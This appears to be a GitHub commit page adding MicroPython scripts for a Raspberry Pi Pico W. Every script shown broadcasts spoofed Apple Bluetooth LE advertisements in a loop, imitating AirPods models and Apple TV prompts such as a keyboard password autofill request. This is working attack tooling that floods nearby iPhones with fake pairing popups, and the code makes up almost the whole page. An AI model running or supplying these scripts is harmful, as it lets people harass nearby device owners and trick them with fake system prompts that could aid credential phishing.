Skip to content

Commit

Permalink
Merge pull request #6 from 0day1day/main
Browse files Browse the repository at this point in the history
Raspberry PIco W - Micropython support.
  • Loading branch information
ECTO-1A authored Sep 16, 2023
2 parents 3e0c6fe + 29246cd commit e256c0e
Show file tree
Hide file tree
Showing 17 changed files with 839 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
import bluetooth
import time
import random

def advertise():
print("Starting AirPod advertising")
# Combine all the data fields
complete_data = data1 + left_speaker + right_speaker + case + data2
ble.gap_advertise(interval, adv_data=bytes(complete_data))

# Initialize BLE
print("Initializing BLE...")
ble = bluetooth.BLE()
ble.active(True)

if ble.active():
print("BLE is active")
else:
print("Failed to activate BLE")

# Parameters
interval = 200

# Static data fields
data1 = (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45)
data2 = (0xda, 0x29, 0x58, 0xab, 0x8d, 0x29, 0x40, 0x3d, 0x5c, 0x1b, 0x93, 0x3a)

# Dynamic data fields (initial values)
left_speaker = (random.randint(1, 100),)
right_speaker = (random.randint(1, 100),)
case = (random.randint(128, 228),)

# Counter for BLE reset
ble_reset_counter = 0
ble_reset_threshold = 10

# Main Loop
while True:
if ble_reset_counter >= ble_reset_threshold:
# Stop and restart BLE
print("Resetting BLE...")
ble.active(False)
time.sleep(1)
ble.active(True)

# Update the dynamic data fields
left_speaker = (random.randint(1, 100),)
right_speaker = (random.randint(1, 100),)
case = (random.randint(128, 228),)

ble_reset_counter = 0

advertise()
time.sleep(2)
ble_reset_counter += 1
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
import bluetooth
import time
import random

def advertise():
print("Starting AirPods Max advertising")
# Combine all the data fields
complete_data = data1 + left_speaker + right_speaker + case + data2
ble.gap_advertise(interval, adv_data=bytes(complete_data))

# Initialize BLE
print("Initializing BLE...")
ble = bluetooth.BLE()
ble.active(True)

if ble.active():
print("BLE is active")
else:
print("Failed to activate BLE")

# Parameters
interval = 200

# Static data fields
data1 = (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45)
data2 = (0xda, 0x29, 0x58, 0xab, 0x8d, 0x29, 0x40, 0x3d, 0x5c, 0x1b, 0x93, 0x3a)

# Dynamic data fields (initial values)
left_speaker = (random.randint(1, 100),)
right_speaker = (random.randint(1, 100),)
case = (random.randint(128, 228),)

# Counter for BLE reset
ble_reset_counter = 0
ble_reset_threshold = 10

# Main Loop
while True:
if ble_reset_counter >= ble_reset_threshold:
# Stop and restart BLE
print("Resetting BLE...")
ble.active(False)
time.sleep(1)
ble.active(True)

# Update the dynamic data fields
left_speaker = (random.randint(1, 100),)
right_speaker = (random.randint(1, 100),)
case = (random.randint(128, 228),)

ble_reset_counter = 0

advertise()
time.sleep(2)
ble_reset_counter += 1
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
import bluetooth
import time
import random

def advertise():
print("Starting AirPods Pro advertising")
# Combine all the data fields
complete_data = data1 + left_speaker + right_speaker + case + data2
ble.gap_advertise(interval, adv_data=bytes(complete_data))

# Initialize BLE
print("Initializing BLE...")
ble = bluetooth.BLE()
ble.active(True)

if ble.active():
print("BLE is active")
else:
print("Failed to activate BLE")

# Parameters
interval = 200

# Static data fields
data1 = (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45)
data2 = (0xda, 0x29, 0x58, 0xab, 0x8d, 0x29, 0x40, 0x3d, 0x5c, 0x1b, 0x93, 0x3a)

# Dynamic data fields (initial values)
left_speaker = (random.randint(1, 100),)
right_speaker = (random.randint(1, 100),)
case = (random.randint(128, 228),)

# Counter for BLE reset
ble_reset_counter = 0
ble_reset_threshold = 10

# Main Loop
while True:
if ble_reset_counter >= ble_reset_threshold:
# Stop and restart BLE
print("Resetting BLE...")
ble.active(False)
time.sleep(1)
ble.active(True)

# Update the dynamic data fields
left_speaker = (random.randint(1, 100),)
right_speaker = (random.randint(1, 100),)
case = (random.randint(128, 228),)

ble_reset_counter = 0

advertise()
time.sleep(2)
ble_reset_counter += 1
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
import bluetooth
import time

def advertise():
print("Starting AppleTV Pairing Notification Advertising")
# Use the single data1 field
ble.gap_advertise(interval, adv_data=bytes(data1))

# Initialize BLE
print("Initializing BLE...")
ble = bluetooth.BLE()
ble.active(True)

if ble.active():
print("BLE is active")
else:
print("Failed to activate BLE")

# Parameters
interval = 200

# Static data field for AppleTV Pairing Notification
data1 = (0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00)

# Counter for BLE reset
ble_reset_counter = 0
ble_reset_threshold = 10

# Main Loop
while True:
if ble_reset_counter >= ble_reset_threshold:
# Stop and restart BLE
print("Resetting BLE...")
ble.active(False)
time.sleep(1)
ble.active(True)

ble_reset_counter = 0

advertise()
time.sleep(2)
ble_reset_counter += 1
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
import bluetooth
import time

def advertise():
print("Starting AppleTV Wireless Audio Sync Advertising")
# Use the single data1 field
ble.gap_advertise(interval, adv_data=bytes(data1))

# Initialize BLE
print("Initializing BLE...")
ble = bluetooth.BLE()
ble.active(True)

if ble.active():
print("BLE is active")
else:
print("Failed to activate BLE")

# Parameters
interval = 200

# Static data field for AppleTV Wireless Audio Sync
data1 = (0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x19, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00)

# Counter for BLE reset
ble_reset_counter = 0
ble_reset_threshold = 10

# Main Loop
while True:
if ble_reset_counter >= ble_reset_threshold:
# Stop and restart BLE
print("Resetting BLE...")
ble.active(False)
time.sleep(1)
ble.active(True)

ble_reset_counter = 0

advertise()
time.sleep(2)
ble_reset_counter += 1
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
import bluetooth
import time

def advertise():
print("Starting Set Up Airplay and Homekit on Apple TV Advertising")
ble.gap_advertise(interval, adv_data=bytes(data1))

# Initialize BLE
print("Initializing BLE...")
ble = bluetooth.BLE()
ble.active(True)

if ble.active():
print("BLE is active")
else:
print("Failed to activate BLE")

# Parameters
interval = 200

# Static data field
data1 = (0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x0D, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)

# Counter for BLE reset
ble_reset_counter = 0
ble_reset_threshold = 10

# Main Loop
while True:
if ble_reset_counter >= ble_reset_threshold:
print("Resetting BLE...")
ble.active(False)
time.sleep(1)
ble.active(True)

ble_reset_counter = 0

advertise()
time.sleep(2)
ble_reset_counter += 1
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
import bluetooth
import time

def advertise():
print("Starting AppleTV Keyboard Password Autofill Prompt Advertising")
ble.gap_advertise(interval, adv_data=bytes(data1))

# Initialize BLE
print("Initializing BLE...")
ble = bluetooth.BLE()
ble.active(True)

if ble.active():
print("BLE is active")
else:
print("Failed to activate BLE")

# Parameters
interval = 200

# Static data field
data1 = (0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00)

# Counter for BLE reset
ble_reset_counter = 0
ble_reset_threshold = 10

# Main Loop
while True:
if ble_reset_counter >= ble_reset_threshold:
print("Resetting BLE...")
ble.active(False)
time.sleep(1)
ble.active(True)

ble_reset_counter = 0

advertise()
time.sleep(2)
ble_reset_counter += 1
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
import bluetooth
import time

def advertise():
print("Starting 'Connecting... Apple Tv requires additional information to connect to this network' Advertising")
# Use the single data1 field for advertising
ble.gap_advertise(interval, adv_data=bytes(data1))

# Initialize BLE
print("Initializing BLE...")
ble = bluetooth.BLE()
ble.active(True)

if ble.active():
print("BLE is active")
else:
print("Failed to activate BLE")

# Parameters
interval = 200

# Static data field for the specific AppleTV message
data1 = (0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00)

# Counter for BLE reset
ble_reset_counter = 0
ble_reset_threshold = 10

# Main Loop
while True:
if ble_reset_counter >= ble_reset_threshold:
# Stop and restart BLE
print("Resetting BLE...")
ble.active(False)
time.sleep(1)
ble.active(True)

ble_reset_counter = 0

advertise()
time.sleep(2)
ble_reset_counter += 1
Loading

0 comments on commit e256c0e

Please sign in to comment.